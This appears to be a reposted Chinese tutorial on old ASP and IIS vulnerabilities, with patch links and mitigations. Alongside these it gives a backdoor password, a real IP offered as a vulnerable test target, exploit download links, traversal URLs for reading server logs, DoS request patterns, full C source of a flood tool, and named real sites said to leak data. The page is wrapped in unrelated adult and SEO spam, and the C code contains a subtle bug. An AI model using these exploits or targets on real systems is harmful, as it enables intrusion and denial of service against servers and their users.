人人做人人澡人人爽欧美,国产主播一区二区,久久久精品五月天,羞羞视频在线观看免费

當前位置:蘿卜系統下載站 > 技術開發教程 > 詳細頁面

ASP漏洞及安全建議 (續一)

ASP漏洞及安全建議 (續一)

更新時間:2022-06-05 文章作者:未知 信息來源:網絡 閱讀次數:

10、微軟開發的兩個動態庫存在后門允許用戶查看ASP文件源程序和下載整個網站
問題描述:
隨IIS和Frontpage Extention server而來的動態庫程序,存在后門,允許用戶遠程讀取asp、asa和CGI程序的源代碼。但這個動態庫要求有密碼,這個后門的密碼是: "Netscape engineers are weenies!"
程序路徑為: /_vti_bin/_vti_aut/dvwssr.dll
一般安裝了 Frontpage98的 IIS服務器都有這個路徑和文件。這個程序要求解碼后才能發揮讀取asp等源程序,有趣的是,這個密碼正是嘲弄其競爭對手Netscape的。
現提供一個有該漏洞的國外網站給安全技術人員參考:
http://62.236.90.195
關于讀取源程序,請下載這個測試程序,用法為:
[john@Linux john]$ ./dvwssr1.pl 62.236.90.195 /cqsdoc/showcode.asp
測試程序: http://www.cnns.net/exploits/nt/dvwssr1.pl

11、漏洞名稱:IIS4.0受HTTP的D.O.S攻擊漏洞
問題描述:
受影響的版本:IIS 4.0以及更早的版本
這是一個很簡單的方法.發送很多的"Host:aaaaa...aa"到IIS:
GET / HTTP/1.1
Host: aaaaaaaaaaaaaaaaaaaaaaa....(200 bytes)
Host: aaaaaaaaaaaaaaaaaaaaaaa....(200 bytes)
...10,000 lines
Host: aaaaaaaaaaaaaaaaaaaaaaa....(200 bytes)

發送了象上面所寫的兩次請求后,對方的IIS在接受了這些請求后就會導致內存溢出.當然,它就不能對更多的請求作出反應。因為對方正缺乏虛擬內存,服務器也將停止運行。事后,對方不能通過重起web service來解決問題,而必須重啟服務器。

12 漏洞名稱:IIS5.0超長URL拒絕服務漏洞
問題描述:
Microsoft IIS 5.0在處理以".ida"為擴展名的URL請求時,它會有兩種結果。一個可能的結果是服務器回復"URL String too long"的信息;或類似"Cannot find the specified path" 的信息。另一種可能就是服務器端服務停止,并返回"Access Violation"信息(即成功的實現了對服務器端的拒絕服務攻擊)
當遠端攻擊者發出類似如下的請求時:
http://someurl/...[25kb of '.']...ida
服務器端會崩潰(導致拒絕服務攻擊)或返回該文件不在當前路徑的信息(暴露文件物理地址)
問題解決或者建議:
大多數情況下,站點很少使用擴展名為".ida"和".idq"的文件,可在ISAPI腳本映射中,將擴展名為".ida"和".idq"的應用程序映射刪除。

13請求不存在的擴展名為idq或ida 文件,會暴露服務器上得物理地址.
問題描述:
通過請求一個不存在的擴展名為idq或ida得文件,IIS會暴露文件在服務器上得物理地址.這樣會給攻擊者提供了不必要的信息,而且,這對攻擊一個Web站點來說,是很有價值的第一步。
測試程序:
通過請求如:
http://someurl/anything.ida
http://someurl/lunwen/anything.ida
或:
http://someurl/anything.idq
一個遠端用戶可以收到類似:'The IDQ d:\http\anything.idq could not be found'的響應。
這樣的一個響應就會讓攻擊者獲得了Web站點的物理路徑,并且還可以獲得更多的有關該站點在服務器上的組織與結構。

14、NT Index Server存在返回上級目錄的漏洞
問題描述
受影響的版本:Microsoft Index Server2.0 [WinNT4.0,WinNT 2000.0]
Index Sserver2.0是WinNT4.0 Option Pack中附帶的一個軟件的工具,其中的功能已經被WinNT 2000中的Indexing Services所包含。當與IIS結合使用時,Index Server和Indexing Services便可以在最初的環境來瀏覽Web Search的結果,它將生成一個HTML文件,其中包含了查找后所返回頁面內容的簡短引用,并將其連接至所返回的頁面[即符合查詢內容的頁面],也就是超級連接。要做到這一點,它便需要支持由webhits.dll ISAPI程序處理的.htw文件類型。這個dll允許在一個模版中使用"../"用做返回上級目錄的字符串.這樣,了解服務器文件結構的攻擊者便可以遠程的閱讀該機器上的任意文件了。
漏洞的利用:
1)您的系統中存在.htw文件
Index Server提供的這種超級連接允許Web用戶獲得一個關于他搜尋結果的返回頁,這個頁面的名字是與CiWebHitsFile變量一起通過.htw文件的,webhits.dll這個ISAPI程序將處理這個請求,對其進行超級連接并返回該頁面。因此用戶便可以控制通過.htw文件的CiWebHits變量,請求到任何所希望獲得的信息。另外存在的一個問題便是ASP或其他腳本文件的源代碼也可以利用該方法來獲得。
上面我們說過webhits.dll后接上"../"便可以訪問到Web虛擬目錄外的文件,下面我們來看個例子:
http://somerul/iissamples/issamples/oop/qfullhit.dll?CiWebHitsFile=/../../winnt/system32/logfiles/w3svc1/ex000121.log&CiRestriction=none&CiHiliteType=Full
在瀏覽器中輸入該地址,便可以獲得該服務器上給定日期的Web日志文件.
在系統常見的.htw樣本文件有:
/iissamples/issamples/oop/qfullhit.htw
/iissamples/issamples/oop/qsumrhit.htw
/iissamples/exair/search/qfullhit.htw
/iissamples/exair/search/qsumrhit.hw
/iishelp/iis/misc/iirturnh.htw [這個文件通常受loopback限制]
2)您的系統中不存在.htw文件
調用一個webhits.dll ISAPI程序需要通過.htw文件來完成,如果您的系統中不存在.htw文件,雖然請求一個不存在的.htw文件將失敗,但是您的仍然存在可被利用的漏洞。其中的竅門便是利用inetinfo.exe來調用webhits.dll,這樣同樣能訪問到Web虛擬目錄外的文件。但我們需要通過制作一個的特殊的URL來完成該漏洞的利用。首先我們需要一個有效的文件資源,這個文件必須是一個靜態的文件,如".htm",".html",".txt"或者".gif",".jpg"。這些文件將用作模版來被webhits.dll打開。現在我們需要獲得inetinfo.exe來利用webhits.dll,唯一可以做到這點的便是請求一個.htw文件:
http://url/default.htm.htw?CiWebHitsFile=/../../winnt/system32/logfiles/w3svc1/ex000121.log&CiRestriction=none&CiHiliteType=Full
很明顯,這個請求肯定會失敗,因為系統上不存在這個文件。但請注意,我們現在已經調用到了webhits.dll,我們只要在一個存在的文件資源后面[也就是在.htw前面]加上一串特殊的數字( %20s ),[就是在例子中default.htm后面加上這個代表空格的特殊數字],這樣我們便可以欺騙過web服務器從而達到我們的目的.由于在緩沖部分中.htw文件名字部分被刪除掉[由于%20s這個符號],所以,當請求傳送到webhits.dll的時候,便可以成功的打開該文件,并返回給客戶端,而且過程中并不要求系統中真的存在.htw文件。
問題解決和建議:
微軟已經對該問題發放了補丁:
Index Server 2.0:
Intel: http://www.microsoft.com/downloads/release.asp?ReleaseID=17727
Alpha: http://www.microsoft.com/downloads/release.asp?ReleaseID=17728
Windows 2000 Indexing Services:
Intel: http://www.microsoft.com/downloads/release.asp?ReleaseID=17726

15 繞過驗證直接進入ASP頁面。
漏洞描述:
如果用戶知道了一個ASP頁面的路徑和文件名,而這個文件又是要經過驗證才能進去的,但是用戶直接輸入這個ASP頁面的文件名,就有可能通過繞過驗證.比如:我在一些網站上這樣試過:首先關閉所有的瀏覽器,窗口,輸入:
http://someurl/system_search.asp?page=1
就樣就看到了只能系統員才能看到的頁面。當然有些人為了防止這種情況也會在system_search.asp的開頭加個判斷,比如:判斷session(“system_name”),如果不為空時就能進入,這樣上面的url請求就不能直接進入管理員頁面了。但是這種方法也有一個漏洞,如果攻擊者先用一個合法的帳號,或者在本機上生成一個session,如session(“system_name”)=”admi”,那因為session(“system_name”)不為空,這樣也能直接進入繞過密碼,直接進入管理員頁面。

解決方法:
在需要驗證的ASP頁面開頭處進行相應的處理。比如:可跟蹤上一個頁面的文件名,只有從上一頁面轉進來的會話才能讀取這個頁面。

16、IIS4.0/5.0特殊數據格式的URL請求遠程DOS攻擊
漏 洞 描 述:
當在安裝有有IIS4.0或者IIS5.0的web服務上,請求一個具有特殊數據格式的URL,會拖慢受攻擊web 服務器的響應速度,或許會使其暫時停止響應。

受影響的版本
Microsoft Internet Information Server 4.0
Microsoft Internet Information Server 5.0
漏洞測試程序如下:
http://202.96.168.51/download/exploits/iisdos.exe
源代碼如下:
http://202.96.168.51/download/exploits/iisdos.zip
測試程序:
只要打入:iisdos <***.***.**.**> 就能攻擊對方web 服務器

問題解決:
Internet Information Server 4.0:
http://www.microsoft.com/Downloads/Release.asp?ReleaseID=20906
Internet Information Server 5.0:
http://www.microsoft.com/Downloads/Release.asp?ReleaseID=20904
更多的信息:
http://www.microsoft.com/technet/security/bulletin/ms00-030.asp
Microsoft 安全公告MS00-021:
http://www.microsoft.com/technet/security/bulletin/fq00-030.asp
相關連接
http://www.ussrback.com


17 IIS web server DOS
漏洞描述:
默認情況下,IIS容易被拒絕服務攻擊。如果注冊表中有一個叫 "MaxClientRequestBuffer" 的鍵未被創建,針對這種NT系統的攻擊通常能奏效。 "MaxClientRequestBuffer" 這個鍵用于設置IIS允許接受的輸入量。如果 "MaxClientRequestBuffer" 設置為256(bytes),則攻擊者通過輸入大量的字符請求IIS將被限制在256字節以內。而系統的缺省設置對此不加限制,因此,利用下面的程序。可以很容易地對IIS server實行DOS攻擊:

#include <stdio.h>
#include <windows.h>
#define MAX_THREAD 666
void cng();
char *server;
char *buffer;
int port;
int counter = 0;
int current_threads = 0;
int main(int argc, char **argv)
{
WORD tequila;
WSADATA data;
int p;
DWORD tid;
HANDLE hThread[2000];
//This code is as is and sucks as it is. Won't exit correctly and a lot
of other fun things.
//That I didn't want to take the time to do. So just ctrl+c out of the
code.
//Load up cnghack.exe 3 times for charm.
printf("CNG IIS DoS.\nMarc@eEye.com\nhttp://www.eeye.com\n\"For my
beloved.\"\n");
if(argc<2){
printf("Usage: %s [server] [port]\n",argv[0]);
exit(1);
}
buffer=malloc(17500);
memset( buffer, 'A', strlen(buffer));
server=argv[1];
port=atoi(argv[2]);
tequila = MAKEWORD( 1, 1 );
printf("Attempting to start winsock... ");
if( (WSAStartup(tequila, &data)) !=0 ){
printf("failed to start winsock.\n");
exit(1);
}
else{
printf("started winsock.\n\n");
}

counter = 0;
for(p = 0 ; p < MAX_THREAD ; ++p ){
hThread[counter] = CreateThread(0,
0,
(LPTHREAD_START_ROUTINE) cng,
( void * )++counter,
0,
&tid);
}
Sleep(250);
while( current_threads )
Sleep(250);
counter = 0;
printf("Terminated Threads.\n");
while (counter < MAX_THREAD)
{
TerminateThread( hThread[counter], 0 );
++counter;
}
WSACleanup();
return 0;
}

void cng()
{
int SockFD=0, p;
struct sockaddr_in DstSAin;
char GETKILLED[]="GET / HTTP/\r\n";
int die=1;
printf("Entered CNG\n");
++current_threads;
DstSAin.sin_family = AF_INET;
DstSAin.sin_port = htons((u_short)port);
DstSAin.sin_addr.s_addr=inet_addr( server );
if((SockFD = socket(AF_INET, SOCK_STREAM, 0)) < 0){
printf("Failed to create socket\n");
--current_threads;
return;
}
if(!connect(SockFD,(struct sockaddr *)&DstSAin, sizeof(DstSAin)))
{
p=send(SockFD,GETKILLED,strlen(GETKILLED),0);
printf("Step 1: %i\n", p);
for(;;){
p=send(SockFD,buffer,strlen(buffer),0);
printf("P: %i\n", p);
//put in some code to check if send = -1 more then X times we drop
the loop and exit the thread
//bla bla bla i love the dirtiness of concept code.
}
}
--current_threads;
printf("Exited CNG\n");
return;
}

cnghack.c works by doing the following:
Connects to example.com
Sends: GET / HTTP/[return][buffer]

Where:
[return] is just an \r\n
[buffer] is a never ending stream of A's

攻擊結果將導致NT系統的CPU占用率達到 100%

解決方案
運行Regedt32.exe
在:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\w3svc\parameters
增加一個值:
Value Name: MaxClientRequestBuffer
Data Type: REG_DWORD
設置為十進制
具體數值設置為你想設定的IIS允許接受的URL最大長度。
CNNS的設置為256

18、MS ODBC數據庫連接溢出導致NT/9x拒絕服務攻擊
漏 洞 描 述:
Microsoft ODBC數據庫在連接和斷開時可能存在潛在的溢出問題(Microsoft ACCESS數據庫相關)。
如果不取消連接而直接和第二個數據庫相連接,可能導致服務停止。

影響系統:
ODBC 版本: 3.510.3711.0
ODBC Access驅動版本: 3.51.1029.00
OS 版本: Windows NT 4.0 Service Pack 5, IIS 4.0 (i386)
Microsoft Office 97 Professional (MSO97.dll: 8.0.0.3507)

漏洞檢測方法如下:
ODBC 連接源名稱: miscdb
ODBC 數據庫型號: MS Access
ODBC 假設路徑: d:\data\misc.mdb

ASP代碼如下:

<%
set connVB = server.createobject("ADODB.Connection")
connVB.open "DRIVER={Microsoft Access Driver (*.mdb)}; DSN=miscdb"

%>

<html>
<body>
...lots of html removed...
<!-- We Connect to DB1 -->
<%
set connGlobal = server.createobject("ADODB.Connection")
connGlobal.Open "DSN=miscdb;User=sa"
mSQL = "arb SQL Statement"
set rsGlobal = connGlobal.execute(mSQL)
While not rsGlobal.eof
Response.Write rsGlobal("resultfrommiscdb")
rsGlobal.movenext
wend
'rsGlobal.close
'set rsGlobal = nothing
'connGlobal.close
'set connGlobal = nothing
' Note we do NOT close the connection
%>

<!-- Call the same database by means of DBQ direct file access -->
<%
set connGlobal = server.createobject("ADODB.Connection")
connGlobal.Open "DRIVER={Microsoft Access Driver (*.mdb)};
DBQ=d:\data\misc.mdb"
mSQL = "arb SQL Statement"
set rsGlobal = connGlobal.execute(mSQL)

While not rsGlobal.eof
Response.Write rsGlobal("resultfrommiscdb")
rsGlobal.movenext
wend
rsGlobal.close
set rsGlobal = nothing
connGlobal.close
set connGlobal = nothing
' Note we DO close the connection
%>

在這種情況下,IIS處理進程將會停頓,CPU使用率由于inetinfo.exe進程將達到100%。只有重新啟動計算機才能恢復。

19、ASP主頁.inc文件泄露問題
漏洞描述:
受影響的版本:任何提供ASP服務的系統
遠程:YES / 本地:YES
內容摘要:
當存在asp的主頁正在制作并沒有進行最后調試完成以前,可以被某些搜索引擎機動追加為搜索對象,如果這時候有人利用搜索引擎對這些網頁進行查找,會得到有關文件的定位,并能在瀏覽器中察看到數據庫地點和結構的細節揭示完整的源代碼。
具體操作過程是:
- 利用搜索引擎查找包含+"Microsoft VBScript 運行時刻錯誤執行搜索" +".inc ," 的關鍵字
- 搜索引擎會自動查找包含asp的包含文件(.inc)并顯示給用戶
- 利用瀏覽器觀看包含文件的源代碼,其中可能會有某些敏感信息

漏洞的利用:
例子:
- http://shopping.altavista.com/inc/lib/prep.lib
暴露數據庫連接和性質, 資源地點, 小甜餅邏輯,服務器 IP 地址
- http://www.justshop.com/SFLib/ship.inc
暴露數據庫性質
- http://www.bbclub.com:8013/includes/general.inc
暴露 cobranding
- http://www.salest.com/corporate/admin/include/jobs.inc
暴露 datafile 地點和結構
- http://www.bjsbabes.com/SFLib/design.inc
包括數據庫結構為 StoreFront 2000 暴露源代碼
- http://www.ffg.com/scripts/IsSearchEngine.inc
暴露搜索引擎記錄文件
- http://www.wcastl.com/include/functions.inc
暴露成員電子郵件地址
- http://www.wcastl.com/flat/comments.txt
暴露成員私人的注釋文件
- http://www.traveler.net/two/cookies.inc
暴露 cookie 邏輯

解決方案:
- 搜索引擎應該不索引有 asp 運行時刻錯誤的頁
- 程序員應該在網頁發布前對其進行徹底的調試
- 安全專家需要固定 asp 包含文件以便外部的用戶不能看他們
asp 新聞組、站點提供兩個解決方案對這個漏洞進行修正,首先對 .inc 文件內容進行加密,其次也可以使用 .asp 文件代替 .inc 文件使用戶無法從瀏覽器直接觀看文件的源代碼。.inc 文件的文件名不用使用系統默認的或者有特殊含義容易被用戶猜測到的,盡量使用無規則的英文字母。

20、利用Activer server explorer可對文件進行讀寫訪問
漏洞描述:
chinaasp的Activer server explorer可以很方便的對本地文件在線查看服務器上的目錄 在線查看文件的名稱、大小、類型、修改時間,在線編輯純文本文件,如.txt、.htm、.asp、.pl、.cgi等等,直接執行服務器上的文件。
Activer server explorer要求填寫相對路徑或者絕對路徑,但是假如:有一個攻擊者把Activer server explorer上傳到目標服務器上的某個目錄,并且這個目錄支持ASP的話,那么他就可以通過Activer server explorer修改、執行目標服務器上的文件。這種情況可以發生在一個攻擊者擁有目標NT服務器上的一個可寫目錄帳號,并且這個目錄又支持ASP。比如一些支持ASP的個人免費主頁服務器,把Activer server explorer先傳上你申請的免費主頁空間,再通過各種方法得到目標服務器的路徑,(比如可通過漏洞:“請求不存在的擴展名為idq或ida 文件,會暴露文件在服務器上的物理地址.”).或者直接在相對路徑上填”.”,一般是默認。這樣攻擊者就能任意修改,執行目標服務器上的文件,不管他對這個文件有無讀寫訪問權。


所以那些提供有ASP服務的個人主頁或者其它服務的服務器,就要加倍小心這種攻擊了。
漏洞解決方法
其實Activer server explorer就是利用了上面講的漏洞 4 filesystemobject 組件篡改下載 fat 分區上的任何文件的漏洞。
那么我們如何才能限制用戶使用FileSystemObject對象呢?一種極端的做法是完全反注冊掉提供FileSystemObject對象的那個組件,也就是Scrrun.dll。具體的方法如下:

  在MS-DOS狀態下面鍵入:

Regsvr32 /u c:\windows\system\scrrun.dll

(注意:在實際操作的時候要更改成為你本地的實際路徑)

  但是這樣的話,就不能使用FileSystemObject對象了,有時利用FileSystemObject對象來管理文件是很方便,有什么辦法能兩全其美呢?

我們可以做到禁止他人非法使用FileSystemObject對象,但是我們自己仍然可以使用這個對象.
方法如下:
查找注冊表中

   HKEY_CLASSES_ROOT\Scripting.FileSystemObject 鍵值

  將其更改成為你想要的字符串(右鍵-->"重命名"),比如更改成為

   HKEY_CLASSES_ROOT\Scripting.FileSystemObject2

  這樣,在ASP就必須這樣引用這個對象了:

   Set fso = CreateObject("Scripting.FileSystemObject2")

  而不能使用:

   Set fso = CreateObject("Scripting.FileSystemObject")

  如果你使用通常的方法來調用FileSystemObject對象就會無法使用了。

  只要你不告訴別人這個更改過的對象名稱,其他人是無法使用FileSystemObject對象的。這樣,作為站點管理者我們就杜絕了他人非法使用FileSystemObject對象,而我們自己仍然可以使用這個對象來方便的實現網站在線管理等等功能了!

溫馨提示:喜歡本站的話,請收藏一下本站!

本類教程下載

系統下載排行

網站地圖xml | 網站地圖html
主站蜘蛛池模板: 永仁县| 合川市| 浏阳市| 汤原县| 五指山市| 广昌县| 雷州市| 临颍县| 辽阳县| 吴忠市| 唐海县| 双桥区| 普定县| 内黄县| 莱阳市| 塔河县| 新乐市| 瓮安县| 邵阳县| 泗阳县| 资阳市| 鹤庆县| 武义县| 名山县| 辽宁省| 同德县| 阿合奇县| 太仆寺旗| 蒲江县| 东城区| 米泉市| 岳阳县| 岢岚县| 合川市| 新巴尔虎左旗| 正安县| 吉隆县| 临高县| 澄迈县| 大方县| 天柱县|